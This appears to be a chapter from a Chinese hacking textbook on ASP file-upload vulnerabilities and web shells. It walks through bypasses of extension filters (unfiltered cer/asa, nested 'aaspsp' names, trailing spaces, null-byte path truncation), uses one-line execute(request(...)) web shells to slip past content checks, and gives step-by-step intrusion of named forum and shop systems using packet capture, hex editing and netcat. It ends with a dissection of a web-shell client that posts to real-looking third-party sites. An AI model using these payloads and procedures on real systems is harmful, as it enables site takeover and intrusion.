        无组件上传的核心就是分析字符串,我们要实现无组件上传,同样在客户端的 form表单中要设置 enctype 属性,它的值也为 multipart/form-data。它是设置表单的 MIME 编码。默认情况,这个编码格式是 application/x-www-form-urlencoded,不能用于文件上传;只有使用了 multipart/form-data,才能完整的传递文件数据。

        要实现无组件上传,需要使用 Request 对象的 binaryread 方法读入客户提交的数据,然后通过 Response 对象的 BinaryWrite 方法输出数据。要用无组件实现上传,其客户端的代码和我们上一节中演示的客户端代码是一样的。下面我们来看它的服务器端的代码,如下所示:

        <% Response.Buffer=True %>

        <html>

        <head>

        <meta http-equiv="Content-Type" content="text/html; charset=gb2312">

        <title>新建网页 1</title>

        </head>

        <%

        dim myDataSize,myData myDataSize=Request.TotalBytes //获得上传的大小

        myData=Request.BinaryRead(myDataSize) //读入提交的数据 Response.BinaryWrite myData //输出数据

        %>

        <body>

        </body>

        </html>

        不过有一个原因就是上传之后输出的数据都是乱码,不过依然有一些规律可循。比如我们上传一个文本文件(D:\hack.txt,内容为 hack)来试验一下,文本框 filename 中保留默认值"default filename",提交看看输出结果:

        -----------------------------7d429871607fe

        Content-Disposition: form-data; name="file1"; filename="D:\hack.txt"

        Content-Type: text/plain hack

        -----------------------------7d429871607fe

        Content-Disposition: form-data; name="filename" default filename

        -----------------------------7d429871607fe--

        通过上面内容的分析,可以很容易的看到,在客户端提交的数据中,包含了每个表单控件的信息,而每个表单控件之间是通过“-----------------------------7d429871607fe”分隔开的。

        如第一个分隔符后显示的内容是“ Content-Disposition: form-data; name="file1"; filename="D:\hack.txt" ”,表示是表单控件“ file1 ”文本框的信息; Content-Type: text/plain 表示文件类型,后面紧跟着是文件的内容。由上面的分析可以得出一些结论:

        (1)、普通数据控件包括 Content-Disposition、name 以及控件的值 (2)、文件框控件包括4部分:Content-Disposition、name、Content-Type 和文件的字节流字符串。

        (3)、表单数据的结果使用“-----------------------------7d429871607fe--”标识。

        通过上面的分析,我们要将文件保存到服务器中或者保存到数据库中时,只要通过一定的方法分离这些数据就可以搞定了。这就是对上传的数据进行处理了,至于如何处理这里我并不打算讲,因为这和我们分析上传漏洞并无很大的关系,分析上传漏洞关键在于看它对我们上传的文件的文件后缀名是怎么处理,而这里所要处理的是文件中的数据,所以这里不讲。不过对于要进行无组件上传开发的朋友可就要好好学了。这里给出一个非常常见的无组件上传代码,如下所示:

        dim upload,file,formName,iCount,FileType FileType= ".zip.doc.jpg.gif.xls.txt.exe" set upload=new FileUpload

        //FileUpload 是用来处理我们上传文件中内容的一个对象,创建一个自定义对象 upload。 iCount=0

        //循环所有上传文件

        for each formName in upload.file //upload.file 为我们所要上传的文件数

        //生成一个文件对象

        set file=upload.file(formName) if file.filesize=0 then

        HtmEnd "请选择你要上传的文件。" set upload=nothing

        response.end end if

        //判断文件大小

        if file.filesize>cint(uploadsize)*1024 then HtmEnd "文件大小超过了限制。"

        set upload=nothing response.end

        end if

        //判断文件格式

        if Instr(FileType, GetExtensionName(file.FileName)) then else

        HtmEnd "文件格式不符合要求。" set upload=nothing response.end

        end if

        //判断上传文件是否已经存在

        dim file_system,sub_files,cur_folder,each_file

        set file_system=createobject("scripting.filesystemobject")

        set cur_folder=file_system.getfolder(Server.mappath(formPath))

        set sub_files=cur_folder.files for each each_file in sub_files

        if instr(each_file.name,file.FileName)<>0 then

        HtmEnd "你您所上传的文件 <b> "&file.FileName&" </b> 已经存在,请将

        文件改名后上传。"

        set upload=nothing response.end

        end if next

        set each_file=nothing set sub_files=nothing set file_system=nothing

        //如果上传了文件

        if file.FileSize>0 then

        file.SaveAs Server.mappath(formPath&file.FileName) ''保存文件 response.write "<b>您的文件:</b> <a

        href='"&formPath&file.FileName&"'>"&file.FilePath&file.FileName&"</a>" response.write "<br><b>文件大小:</b> "&file.FileSize&" Byte" response.write "<br><b>◇已成功上传◇</b><br>" iCount=iCount+1

        end if ' 清 空 file 对 象 ' set file=nothing

        next

        '删除upload 对象' set upload=nothing

      3. 分析上传漏洞

有了上面的基础知识接下来就为大家介绍一些实际的上传代码,并从中找出它的漏洞。

(1)、我们先来看看有组件文件上传的上传漏洞,部分代码如下所示: path="c:\temp" //文件上传后所放置的目录

Set obj = Server.CreateObject("LyfUpload.UploadFile") //创建 LyfUpload 组件 varfname=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&obj.fi letype("File_Upload")

//用时间来取文件上传后的新名称,而文件的后缀名则是取上传时的后缀 RetVal=obj.SaveFile("File_Upload", path, false,varfname) //保存文件到服务器

上面的代码利用 LyfUpload 实现了上传功能,但是这段代码确存在非常大的安全问题。我们知道,文件上传后它的新名字是用当时服务器的时间作为文件的文件名的,而这个文件的后缀确是取得我们上传文件的时候的后缀名。所以这里它并没有限制我们所上传文件的类型,即可以上传任何类型的文件。假设,现在的时间是 2007 年 3 月 1 号 12 点 10 分 12 秒,

那么我们上传一个 hack.asp 的文件到服务器中后,它的新名字为 20070301121012,因为文件的后缀是 asp,所以新文件就是 20070301121012.asp 了,并把它放在 c:\temp 目录下。所以上面的代码没有判断我们所上传文件的类型就把它放到了服务器中,对于这样漏

洞,我们直接上传一个 asp 木马上去就可以得到 webshell 了,非常的简单。我们重点就是要看它对文件的后缀名是怎么处理的,如果处理不当就会出现上传漏洞。

(2)、下面来分析一下无组件上传代码存在的常见上传漏洞,最为简单上传漏洞代码如下所示:

if session(CookieName)<>"" then m=200

//允许上传的最大文件体积,单位为 K,

//否则不能上传或出错。 FileType="asp/aspx/"

//不允许上传的文件后缀名,在最后保留/ sub addfile()

a=Request.TotalBytes //获得上传文件的字节数量 if a>0 Then

Set c=Createobject("adodb.stream") //如大于 0 就创建数据流 c.Type=1

c.Open

c.Write Request.BinaryRead(a) //将上传文件的二进制数写入到其中 c.Position=0

d=c.Read // 读 取 数 据 e=chrB(13)&chrB(10)

f=Instrb(d,e) g=Instrb(f+1,d,e)

set h=Createobject("adodb.stream") h.Type=1

h.Open c.Position=f+1 c.Copyto h,g-f-3 h.Position=0 h.type=2 h.CharSet="utf-8" i=h.Readtext h.close

j=mid(i,InstrRev(i,"\")+1,g) k=Instrb(d,e&e)+4

l=Instrb(k+1,d,leftB(d,f-1))-k-2 //计算上传文件大小 if l>m*1024 then

response.write "文件太大,请修改 upload.asp 文件的 m 的数值,默认为 200k。<a href=upload.asp?

upload=file>重新上传</a>。" response.end

elseif l=0 then

response.write "请选择上传文件。" response.end

end if h.Type=1 h.Open c.Position=k-1 c.CopyTo h,l

fileext=lcase(right(j,len(j)-InStrRev(j,"."))) //取得上传文件后缀名 randomize

ranNum=int(90000*rnd)+10000 file_name=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNu m

//文件名为当前时间和一个随记数组成

if instr(FileType,replace(trim(fileext),".","")&"/")>0 then

//将上传文件的后缀名与 FileType 中的后缀对比,如果存在 FileType 中的后缀,那么就将其后缀名改为 txt 形式。

j=file_name&".txt" else

j=file_name&right(j,len(j)-InStrRev(j,".")+1)

//否则,就取得上传文件的后缀,并与文件名称组合成一个完整的文件名 end if

folder=year(now)&month(now)&day(now)

//创建文件夹的名称为当时的时间所创建 folderpath=server.MapPath("./")&"/"&update&"/"&folder

//获得保存路径

set objfso=server.createobject("scripting.filesystemobject") if objfso.folderexists(folderpath)=false then

//如果路径不存在就创建 objfso.createfolder(folderpath) set objfso=nothing

end if filename=update&"/"&folder&"/"&j j=folderpath&"/"&j

//保存的绝对路径 h.SaveToFile j,2

这里给大家整理一下代码的思路,首先设置上传文件大小限制为 200K,而后取得上传文件的大小及内容。接着判断上传文件的大小是否超过了 200K,如果超过就出错。对上传文件重命名,为当前时间加上一个随机数。在上面的程序中,FileType 它只限制了不允许上传 ASP 和ASPX 这两种文件。系统就获得上传文件的后缀名,如果是 ASP 或ASPX 的话,那么就将它的后缀名改为 txt。如果不是,就将它放入到服务器中,并且文件放在的文件夹的名称为年月日组成。

上面的这个代码在处理上传的时候并没有什么漏洞,问题就出在所限制的后缀名上。它这里只限制了 ASP 和 ASPX 这两种后缀,这可是一个巨大的错误,因为我们知道 IIS 不仅仅

回解析这两种后缀,还会解析 asa、asax、cer、cdx 这些后缀。所以我们只需要把 ASP 木马的后缀改成他们中间的一个,那么同样可以把文件上传服务器,从而迅速得到 webshell。

还有就是不要因为它是ASP 系统就只限制IIS 所能够解析的后缀,其他的后缀比如 php、

jsp 等也同样要检查,要检查所有能够在服务器端执行的后缀名。所以 FileType 应由原来的 FileType="asp/aspx/" 改 成

FileType="asp/jsp/cdx/asa/cer/htr/aspx/asax/php/cgi/pl/"就可以彻底的防止上传漏洞的产生。

对于上面的这类漏洞,他们在处理上传的时候并没有什么问题。问题就是出在需要限制的后缀的数量上,有很多上传系统并没有完全过滤掉服务器所能解析的后缀名,更为不安全的无组件上传就是它根本就没有检查上传文件的后缀名,而是直接加在了文件名后面。这类漏洞和前面有组件上传的例子的差不多,这里不多讲了。

(3)、还有一类上传漏洞虽然检测了所有服务器能够解析的后缀名,但是在处理的时候逻辑上确出现了问题,导致我们仍然够绕过它继续上传木马,从而轻松得到 webshell,典型的代码如下所示:

Sub DoSave()

Dim oUpload, oFile, sFileExt, sFileName dim osize,username,rs

Set oUpload = New upfile_class

//建立上传对象, Call Checksize(osize)

//取得上传数据,限制最大上传 oUpload.GetData(nAllowSize*1024)

If oUpload.Err > 0 Then

select Case oUpload.Err //如果大于就出错 Case 1

Call OutScript("parent.UploadError('请选择有效的上传文件!')") Case 2

Call OutScript("parent.UploadError('你上传的文件总大小超出了最大限制(" & nAllowSize & "KB)!')")

End Select Response.End

End If

Set oFile = oUpload.File("uploadfile") //取得上传文件的文件名 sFileExt = UCase(oFile.FileExt) //获得后缀名

osize = oFile.Filesize sFileExt=filtfilename(sFileExt) //检测后缀名类型

Dim sRnd

Randomize

sRnd = Int(900 * Rnd) + 100 //建立随机数

sFileName = year(now) & month(now) & day(now) & hour(now) & minute(now) & second(now) & sRnd & "." & sFileExt

//文件名为时间加上一个随机数,同时后缀名为经过 filtfilename 函数检测的后缀

oFile.SaveToFile Server.Mappath(sUploadDir & "/"& sFileName)

//保存上传的文件

Set oFile = Nothing Set oUpload = Nothing

上面的代码是通过无组件的方式上传,先判断文件的大小,大于限制的话就出错。接着获取上传文件的名称,同时提取它的后缀名,然后通过 filtfilename()检测它的后缀名。最后用时间和随机数作为上传文件的新名字,并保存在服务器中。上面代码中关键就是

filtfilename()函数,它用来处理我们的后缀名,如果它存在问题的话,我们就可以上传木马了,它的代码如下所示:

Function filtfilename(filename)

If IsEmpty(filename) Then Exit Function //后缀为空就退出函数 filename = Lcase(filename) //将后缀名换成小写形式

filename = Replace(filename,Chr(0),"") //将 0 换成空 filename = Replace(filename,".","") //将.换成空 filename = Replace(filename,"asp","") //将 asp 换成空 filename = Replace(filename,"asa","")

filename = Replace(filename,"aspx","") filename = Replace(filename,"cer","") filename = Replace(filename,"cdx","") filename = Replace(filename,"htr","") filename = Replace(filename,"asax","") filename = Replace(filename,"ascx","") filename = Replace(filename,"ashx","") filename = Replace(filename,"asmx","") filename = Replace(filename,"axd","") filename = Replace(filename,"vsdiso","") filename = Replace(filename,"rem","") filename = Replace(filename,"soap","") filename = Replace(filename,"config","") filename = Replace(filename,"cs","") filename = Replace(filename,"csproj","") filename = Replace(filename,"vb","") filename = Replace(filename,"vbproj","") filename = Replace(filename,"webinfo","") filename = Replace(filename,"licx","") filename = Replace(filename,"resx","") filename = Replace(filename,"resou","") filename = Replace(filename,"jsp","") filename = Replace(filename,"php","") filename = Replace(filename,"cgi","") filtfilename=filename

End Function

%>

上面的代码将后缀名中出现了上述的字符,如 asp、aspx 都换成空,这样的代码初次看

来好像没有问题。但是仔细分析会发现存在很大逻辑上的考虑不足,使得我们可以轻松绕过它的过滤。比如我们提交的后缀名为 aaspsp,那么经过 filtfilename()函数检测时,它发现了后缀名中存在 asp 关键字,那么它就会把 asp 给替换为空。那么它替换 asp 为空之后,我们提交的 aaspsp 就变成 asp。这样经过它的过滤之后后缀名就由 aaspsp 变成了 asp。

所以对于这样的过滤函数,我们只需要稍微对后缀名变换一下就可以绕过它了。对于

asp 我们只需要把后缀名改成aaspsp 就可以绕过了,对于 php 只需要换成 phphpp 也绕过了,其他的后缀名也是类似的。

(4)、有的系统不仅会检查我们上传文件的后缀名,同时也会检查上传文件中的内容。检查内容是为了在有木马存在,因为不管木马是怎么编写它总是会存在一些相同的关键字。例如

getfolder、createfolder、deletefolder、createdirectory 等等,虽然这样做比前面的要更加谨慎一些,但是处理的不好仍然会出问题。中网景论坛就是采用的这种方法来处理的上传文件的,但是依然存在了漏洞,下面来分析分析,先来看看它是怎么处理的上传文件的,代码如下所示:

fileExt=lcase(ofile.FileExt) arrUpFileType=split(UpFileType,"|") for i=0 to ubound(arrUpFileType)

if fileEXT=trim(arrUpFileType(i)) then EnableUpload=true

exit for end if

next

if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then

//这里这一句竟然不限制 cer 和 cdx 后缀!但无关紧要,这此服务器设置有关.

EnableUpload=false end if

if EnableUpload=false then

msg="这种文件类型不允许上传!\n\n 只允许上传这几种文件类型:" &

UpFileType

FoundErr=true

end if

上面的代码我们可以看到,它这里如果检测到文件后缀名为 asp、asa、aspx 中的一种就会给 EnableUpload 赋予 false 的值,即不允许上传。但是它仅仅限制了 asp、asa、aspx这三种,我们已经知道了 ASP 不仅仅会解析这三个后缀名,同样会解析 cer 和cdx 后缀。所以我们把后缀改成它即可绕过这个上传系统了。其实就算它把 cer 和 cdx 加上去了,即 if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" or fileEXT= "cer" or fileEXT= "cdx" ,我们也可以突破它。比如我们上传一个木马,它的后缀名为 asp,并在后面加上后一个空格因为 asp (后面有空格)是不等于 asp 的,而对于 windows 对于碰到有空格的会自动去掉空格,所以当我们上传一个 asp 文件就会变成一个 asp 文件,那么又被我们突破了。所以只要在后缀名后加上一个空格依然可以突破它的限制。所以不管怎么变几乎都等于是形同虚设,这段代码使用的是化境无组件上传类,目前非常多的网站使用了这个上传类,只要发现了它的踪影,那么就可以获得 webshell 了。

文件上传后,系统还会对上传的文件的内容进行检查,下面就是检查文件内容的代码,如下所示:

……省略部分代码…… filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(no w)&ranNum&"."&fileExt

ofile.SaveToFile Server.mappath(FileName) //保存文件

//---------------------

//检查上传文件内容,防木马

//--------------------

set MyFile = server.CreateObject ("Scripting.FileSystemObject") sFile = Server.MapPath(FileName)

set MyText = MyFile.OpenTextFile (sFile,1)

//读取文本文件

sTextAll = lcase(MyText.ReadAll):MyText.close

//判断用户文件中的危险操作

sStr

="8|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.s aveas|wscript.shell|script.encode"

sNoString=split(sStr,"|") //去掉|符号

for i=1 to sNoString(0) //循环检查 sNoString 中的字符串 if instr(sTextAll,sNoString(i))<>0 then

'sFile = Upl.Path & sFileSave: fs.DeleteFile sFile Set dFile = MyFile.GetFile(sFile)

dFile.Delete True

//如果上传的文件中含有上面的关键字,就删除文件

Response.write sFileSave&"<span style=""font-family: 宋体; font-size: 9pt"">文件中含有与操作目录等有关的命令"&mid(sNoString(i),2)&",为了安全原因,不能上传。 [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>"

Response.end end if

next

上面的这段代码主要是检查所上传文件的内容, 如果发现文件内容包 含.getfolder、.createfolder、.deletefolder、.createdirectory、.deletedirectory

、 .saveas 、 wscript.shell 、 script.encode 等 字 符 串 , 就 把 文 件 删 掉 。 一 般 的 asp 后 门 都 会 包

含.getfolder,.createfolder,.deletefolder,.createdirectory,.deletedirectory

,.saveas,wscript.shell 等内容,所以就算我们上传了 ASP 木马,也会因为检查上传文件的内容而导致上传的文件被删除,那么前面的功夫等于是白费。

因此我们要对上传的 ASP 木马进行变换,常见的就是对其进行加密。虽然代码经过加密会减少很多字符,但仍会有 script.encode。乍一看,不加密,上传不了,加了密码也上传不了,那还能上传什么?

大家在使用 DOMAIAN3.5 的时候一定还记得上面自带的 DIY.asp 木马吧,这个木马不存在上面的关键字,如图 7-35 所示,所以我们用它来上传。但是,这只小马已经是多家杀毒软件的查杀对像了,除非是瑞星(笔者也觉得怪,瑞星竟然不杀这个?),这要靠你的运气了。

image

图 7-35 小马的内容

笔者的运气不错,在一次测试过程中就碰到个瑞星的。但这也不是办法,如果是卡巴的话,就会把它杀掉了,那又该怎么办?想了一会儿,终于记得还有一句话木马,<%if request("#")<>"" then execute(request("#"))%>,这句代码也没有包含上述内容,应该可 以 上 传 。 我 们 上 传 一 个 asp 文 件 , 其 内 容 为 <%if request("#")<>"" then

execute(request("#"))%>。在得到该文件的新名字之后,我们就用一句马的客户端进行连接,这样同样可以得到 websehll。

(5)、最后给大家讲解一下动网的上传漏洞,大家要记住这个漏洞不仅仅是只有动网有,其他很多系统都存在这个漏洞,只是这里用动网来作为例子罢了。动网大家现在也该都知道了。它是目前国内最好的 ASP 论坛,如果能够看懂并分析出它的上传漏洞,那基本上大部分上传漏洞都能分析的出来。

在动网 7.0 SP2 以下版本曾经出现过一个巨大的上传漏洞,下面用它来作为例子说明,动网论坛上传文件的相关代码:

sub upload_0()

set upload=new UpFile_Class //建立上传对象

upload.GetDate (int(Forum_Setting(56))*1024) //取得上传数据,不限大小 iCount=0

if upload.err > 0 then //对错误的处理 select case upload.err

case 1

Response.Write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a>

]"

case 2

Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ <a href=#

onclick=history.go(-1)>重新上传</a> ]" end select

exit sub else

formPath=upload.form("filepath")

//在目录后加(/)

if right(formPath,1)<>"/" then formPath=formPath&"/"

for each formName in upload.file

//列出所有上传了的文件

set file=upload.file(formName)

//生成一个文件对象 if file.filesize<100 then

response.write "请先选择你要上传的图片 [ <a href=# onclick=history.go(-1)>重新上传</a>

]"

response.end end if

fileExt=lcase(file.FileExt) //得到文件后缀名

if CheckFileExt(fileEXT)=false then //检测文件后缀名类型

response.write "文件格式不正确 [ <a href=# onclick=history.go(-1)>重新上传

</a> ]"

response.end end if randomize

ranNum=int(90000*rnd)+10000 filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(no w)&ranNum&"."&fileExt

if file.FileSize>0 then

//如果 FileSize > 0 说明有文件数据 file.SaveToFile Server.mappath(filename)

//保存文件

' response.write file.FilePath&file.FileName&" ("&file.FileSize&") =>

"&formPath&File.FileName&" 成功!<br>"

response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</s cript>"

iCount=iCount+1 end if

set file=nothing next

set upload=nothing session("upface")="done"

Htmend iCount&" 个文件上传结束!" end if

end sub

在上面代码中可以看到这样一句: filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(no

w)&ranNum&"。"&fileExt。这里,filename 是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名。但是程序中对提交文件的类型做了限制,显然想直接上传 ASP 文件是不可行的。但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在 reg_upload。asp 中找到这样的代码:

<form name="form" method="post" action="upfile.asp" enctype="multipart/form-dat a" >

<input type="hidden" name="filepath" value="uploadFace">

<input type="hidden" name="act" value="upload">

<input type="file" name="file1">

<input type="hidden" name="fname">

<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.valu e,parent.document.forms[0].Submit.disabled=true, parent.document.forms[0].Submit2.disabled=true;">

</form>

仔细看<input type="submit" name="Submit" value="上传" onclick="fname.val ue=file1.value,parent.document.forms[0].Submit.disabled=true,

parent.document.forms[0].Submit2.disabled=true;">,可以发现程序是提取 file1 表单和 fname 表单中的值来做判断的。也就是说直接从页面递交我们的 ASP 文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了。方法就是自已构造数据包来达到欺骗的目的。将提交的 file1 表单和 fname 表单项的值改成合法的文件名称。这样就可以绕过文件类型的检测了。

当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了。我们的目的是要让我们上传的文件名改成 ASP,这样我们才可以利用。关键就在这一句了:formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&sec

ond(now)&ranNum&"。"&fileExt 这句话将一段字符串合并起来。我们能改的就是 formPath这个参数。这里要告诉大家的是在计算机中检测字符串的关键就是看是否碰到'\0'字符,如果是,则认为字符串结束了。也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell。asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的。因些,我们要做的是在构造的数据包中,将表单中的 filepath 改成类似 uploadface\zwell。asp'\0 '的字符串然后发送出去就行了。

原理大家现在应该都明白了,这里在整理一下。因为参数 formPath 是由我们控制的,所以可以修改它的值。所以这里我们可以构造假的数据包来欺骗计算机,因为计算机在检测字符串结束时采用的是看是否遇到了'\0'字符,所以我们在构造 formPath 参数时在其最后加上'\0'字符。那么这个时候计算机就以为字符串结束了,而后面的数据全部丢掉,从而达到欺骗的木马。而我们只要把 formPath 参数换成一个木马的地址并在后面加上'\0'字符就可以搞定了,不过需要注意的是字符的大小问题。

首先我们来看看如何利用工具来对这个上传漏洞进行利用。这里给大家介绍桂林老兵的上传工具,如图 7-36 所示。

image

图 7-36 上传利用工具

这里给大家介绍下它的用法。Action 中输入存在上传漏洞文件的 URL,例如

http://www.xxx.com/bbs/UpFile.asp;UpPath 里第一个文本框中的 FilePath 即为表单中的 FilePath,也就是上传路径, 等号后面填的是上传到对方服务器上的木马的名称

/shell.asp;输入一个 WEB 程序允许上传的类型文本框中默认 JPG 就可以了(一般网站都允许上传 JPG 图片文件);File 里第一个文本框中的 File1 即是表单中的 File1,等号后面填写所要在本机上传的木马路径;Cookies 中填上我们用抓取数据包工具如 WsockExpert 抓取的 Cookies 值,记住最好是你在系统中注册后的 Cookies 值。

我们就用它来入侵动网论坛,这里 Action:填入 http://www.***.com/bbs/upfile.asp;

UpPath 第一个文本框填入:filepath;第二个填入:/shell.asp(你也可以写/bbs/shell.asp这样上传成功后就传到/bbs 目录下了!)输入一个 WEB 程序允许上传的类型文本框中默认

JPG 就好了;File 第一个文本框输入:file1;第二个填入:E:\木马\asp\shell.asp (这个

ASP 木马是在自己机器上的路径,点后面的文件打开图标浏览找到 ASP 木马即可)。Cookies:这里不用抓包了,因为这里的上传根本不检测 Cookie 的哦。没有它会报错的如果都填写好了直接按“Submit”按键提交!提交之后返回提交成功,如图 7-37 所示。

image

图 7-37 木马上传成功

上传成功我们直接在 URL 地址栏内填上木马的网址,打开之后就得到一个小马了,如图 7-38 所示。接下来我们就是在写入一个功能更为强大的木马进去。

image

图 7-38 得到一个小马

当然,我们不应该只局限于工具的利用,如果想要真正提高自己的水平,还应当自己动手,利用手工来进行攻击。前面我就已经说了,上面的这个漏洞不仅仅存在于动网,其他很多系统也同样存在。但是有一点大家要明白,虽然存在于不同的系统,但是他们的利用方法都是一样的,不管是工具还是手工。

对于手工攻击,我就用动感商务这个系统存在的上传漏洞来作为例子讲解。动感商务的上传文件是 upfile_flash.asp,它出现漏洞的代码如下所示:

if upload.form("act")="uploadfile" then filepath=trim(upload.form("filepath")) //文件上传路径 filelx=trim(upload.form("filelx")) //文件扩展名

……………………

此处省略的是扩展名过滤过程

…………………… randomize

ranNum=int(90000*rnd)+10000 filename=filepath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(no w)&ranNum&"."&fileExt //文件名为filpath 文件路径+按日期生成的名称+扩展名

……………………

file.SaveToFile Server.mappath(FileName) //保存文件

大家可以看到这段代码和动网的是一模一样,所以他们的利用方法都是一样的,下面开始我们的手工入侵。我们知道虽然这段代码对扩展名经过了严格审核,但保存文件的路径

filepath 并没有过滤,只要我们动手修改一下 filepath 值,就可以把 ASP 木马传到服务器中了。下面再来认识一下 Upload_flash.asp(图片上传)页面,如图 7-39 所示(该图片上传本是管理员的专用页,但因为文件内未加入权限设置,以致于来宾用户也能打开此页并上传图片,这个漏洞只限于动感商务)。

点“浏览”选择一个 JPG 图片上传,返回的却是“该文件类型不能上传!”,为什么呢?这是因为 Upload_flash.asp 后缺少一些参数。从后台的“图片上传”窗口内得到

upload_flash.asp 所 带参数,这样,完整的“图片上传”地址就是: “http://127.0.0.1/9911shop/upload_flash.asp?formname=myform&editname=shoppic&u

ppath=shoppic&filelx=jpg”,其中的 uppath 是上传文件的保存路径,filelx 是允许上传的扩展名。有了正确的 Upload_flash.asp 地址,接下来就可以实施我们的计划了。

image

图 7-39 上传页面 1.把经典的后门 ASP 木马 diy.asp 更改扩展名为 jpg。

2.启动 WinSock Expert 软件,监听 IEXPLORE 中的“图片上传”页面。

3.返回到“图片上传”窗口,选择 newmm.jpg 并上传。 4.再次切换到 WinSock 窗口,查看 Post 项,如图 7-40 所示,其中的 Filepath 就是这个上传系统的软肋,复制 Post 并提交内容两项数据到 dg.txt 中。

image

图 7-40 用WinSock 截流数据 5.打开 dg.txt,修改 filepath 值“shoppic/”为“shoppic/jm.asp*”(*代表的是一个空格,也可更改 shoppic 为另一个文件夹名),再按照增加的字符个数修改“Content-Length:”值,如果数据没有修改的话,就无法成功,这是利用这个漏洞的关键之一,如图 7-41 所示。

image

图 7-41 修改数据

6.前面就告诉了大家,一定要在 formPath 参数后添加一个'\0'字符,这样当计算机遇到这个字符后就以为字符串结束了,使得计算机不在读取后面的数据,从而达到欺骗计算机的目的。而接下来我们就要这最关键的一步。记得前面我们在 shoppic/jm.asp 后添加了一个空格,当初之所以添加一个空格就是为了在这里把空格修改成'\0'字符。要修改这个数据我们要利用到 WinHex 这个十六进制编辑工具,它是一个非常优秀的编辑工具,如果对它不熟悉的话, 可以去网上找一下个的用法说明。我们用 WinHex 打开打开 dg.txt ,找到 “shoppic/jm.asp*”,将空格的 16 进制“20”改为“00”。这里还要解释一下,空格的十六进制是 20,而'\0'字符的十六进制是 00。所以我们把 20 替换成 00 其实就相当于把空格换成了'\0'字符。 7.最后我们利用 NC 提交数据,启动 CMD 程序,CD 目录到 NC 所在目录,为了简化命令,在输命令之前将 dg.txt 和nc.exe 放至同一目录中。输入如下命令:“nc.exe -vv 127.0.0.1 80

<dg.txt”,其中-vv 是显示详细信息,127.0.0.1 是 WEB 网站地址,80 是WEB 端口,其后的

<dg.txt 则是向 WEB 网站提交 dg.txt。执行后的结果如图 7-42 所示,成功上传。

image

图 7-42 上 传 成 功 8. 最 后 把 “ 图 片 上 传 ” 窗 口 地 址 栏 中 的 “upload_flash.asp” 及 其 参 数 替 换 为 上 传 后 的 路 径

“shoppic/jm.asp”,回车执行,如图 7-43 所示,一个简易的 ASP 木马便出现在我们面前了。

image

图 7-43 得到一个后门的 ASP 木马

这就是这个上传漏洞利用的全过程,重点要弄清楚两点,一是我们修改了 formPath 参数的数据后,记得要在数据包中添加我们增加的数据数目;二是记得要在 formPath 参数的最后有一个'\0'字符。理解了这两点,那么这个上传漏洞的利用过程就全部理解了。

对于上传漏洞的分析到这里就结束了,上面的几种漏洞基本上概括了目前已知的大部分,就算有一些表现的形式是不一样。但是他们本质上都是一样的,只要掌握了它出现漏洞的本质,那么不管它的形式怎么变化,都是可以轻易的发现。俗话说的好,万变不离其中。

    1. ASP木马技术初探

      在我们入侵 ASP 网站的时候一个好的木马是肯定要的,因为他们是获得 webshell 的工具。所以它在我们 ASP 脚本攻防中扮演着非常重要的角色。那么你是否想过自己编写一个

      ASP 木马呢?而本节我就介绍一些 ASP 木马编写方面的知识,希望通过这些分析为大家掀开

      ASP 木马的神秘面纱。

      1. 一句话木马解析

        前面我们已经多次使用到了一句话木马了,利用我们可以很快的得到一个 webshell。下面我们就来解析一句话木马到底是怎么回事。我们知道一句话木马分为服务端和客户端两个部分。

        ASP 的一句话木马的服务端可以是: <%execute request("value")%> 、 <%eval

        request("value") 、<%On Error Resume Next execute request("value")%> 、<script language=VBScript runat=server>execute request("value")</Script>等等。现在大家都有了 ASP 基础,应该可以看出不管它是怎么变化,都含有 request 对象。所以一句话木马的服务端的作用就是获取客户端提交的数据,而我们客户端所提交的数据就是一个具有完整功能的 ASP 木马。所以我们将一句话木马服务端插入到服务器中的文件后,只要我们知道

        request 对象中的 value 值是多少,那么我们就可以请求服务器中的这个文件,并通过 value值识别出服务端所要接收客户端的数据。

        这样,我们提交的木马代码就通过这个服务端成功的插入到了服务器中,使得木马存在

        于网站中,从而获得 webshell。服务端非常的简单,就是要接受我们客户端所提交的数据,那么我们在来看看客户端的代码,首先看看客户端的页面,如图 7-44 所示。

        image

        图 7-44 一句话木马客户端

        可以看到客户端有两个输入框存在,上面的输入框是为了方便我们修改数据而设置的,而下面的输入框就是填入我们的 ASP 木马的地方。下面来看看的源代码,如下所示:

        <form action=http://www.gzyecheng.com/zhishi/200582432342.asp method=post>

        <textarea name=value cols=120 rows=10 width=45> set lP=server.createObject("Adodb.Stream") lP.Open

        lP.Type=2 lP.CharSet="gb2312" lP.writetext request("value")

        lP.SaveToFile server.mappath("wei.asp"),2 lP.Close

        set lP=nothing response.redirect "wei.asp"

        </textarea>

        <textarea name=joeving cols=120 rows=10 width=45> 添 入 生 成 木 马的内容

        </textarea><BR><center><br>

        <input type=submit value=提交>

        下面来给大家详细解释一下上面的代码。

        <form action=http://cjy.xjife.edu.cn/news/ebook/db/ebook.asp

        //"action="后面是需要修改的以 asp 命名的数据库的提交地址 method=post>

        //这个标签的意思是建立一个表单 以 post 方式提交给连接 http://cjy.xjife.edu.cn/news/ebook/db/ebook.asp 处理

        <textarea name=value cols=120 rows=10 width=45>

        //这里的value 值根据服务端<%execute request("value")%>中value 而设定可以自行修改

        //成<%execute request("p")%>相应这里的 value 值也必须改为 p set lP=server.createObject("Adodb.Stream")

